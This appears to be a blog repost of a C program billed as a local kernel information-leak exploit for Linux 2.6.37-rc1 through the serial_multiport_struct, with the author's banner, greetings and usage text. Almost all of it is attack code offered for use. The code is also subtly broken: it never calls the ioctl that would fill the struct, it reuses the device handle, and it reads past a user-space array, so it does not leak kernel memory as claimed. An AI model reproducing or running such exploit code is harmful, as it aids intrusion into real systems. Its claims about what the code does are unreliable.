2.6.37-rc1 serial_multiport_struct Local Info Leak Exploit

[+] Post Title :

2.6.37-rc1 serial_multiport_struct Local Info Leak Exploit

[+] Date : Rabu, 01 Februari 2012
[+] Author : Dr. Cruzz
[+] Link : http://xcruzz.blogspot.com/2012/02/2637-rc1-serialmultiportstruct-local.html
[+] Type : Exploit

/* Linux <= 2.6.37-rc1 serial_multiport_struct Info Leak Exploit
 *
 *  ./splitmilk2 leak 134514859
 * [\m/] Linux <= 2.6.37-rc1 serial_multiport_struct Info Leak Exploit
 * [\m/] by Todor Donev
 *  [x] Leakfile : leak
 *  [x] Reservedsize : 134514859
 * [+] Leaking.. =)
 * ...
 *
 *
 * Greets to prdelka,
 * for splitmilk.c release, Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak exploit
 *
 * Thanks to Tsvetelina Emirska,
 * that support, respect and inspire me..
 *
 * Yes, I know thats lame, but I was so bored and lazy for better.
 *
 * Author: Todor Donev
 * Author email: [todor.donev@gmail]
 *
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <termios.h>
#include <linux/serial.h>
#define DEVICE "/dev/ttyS1"
int main(int argc, char* argv[]) {
 int ret = 0;
 int i, fd, reservedsize;
 char* buf;
 struct  serial_multiport_struct  buffer;
 printf("[\\m/] Linux <= 2.6.37-rc1 serial_multiport_struct Info Leak Exploit\n");
 printf("[\\m/] by Todor Donev\n");
 fd = open(DEVICE, O_RDONLY);
 if (fd <0) {
 printf("[-] Error: f0k\n");
 exit(-1);
}
 if (argc < 2) {
  fprintf(stderr, "[!] usg: %s <leakfile> <reservedsize>\n", argv[0]);
  exit(-1);
 }
 if (argc > 2)
  if ((reservedsize = atoi(argv[2])) == 0) {
   fprintf(stderr, " [-] Sorry: (atoi) invalid outsize\n");
   exit(-1);
  }
 fprintf(stderr, "  [x] Leakfile: %s\n", argv[1]);
 fprintf(stderr, "  [x] Reservedsize: %u\n", reservedsize);
  if ((buf = (char *)malloc(reservedsize)) == NULL) {
  perror("Sorry: (malloc)");
  fprintf(stderr, " [-] Sorry: Try again with other output size\n");
  exit(1);
 }
 memset(&buffer,0,sizeof(buffer));
 printf("[+] Leaking.. =)\n");
 if((fd = open(argv[1], O_RDWR | O_CREAT, 0640)) == -1){
 printf("[-] Error: f0k =(\n");
 exit(-1);
 }
 for(i=0;i<=reservedsize;i++){
  ret += write(fd,&buffer.reserved[i],sizeof(int));
 }
 close(fd);
 printf("\\o/ %d bytez\n",ret);
 exit(0);
}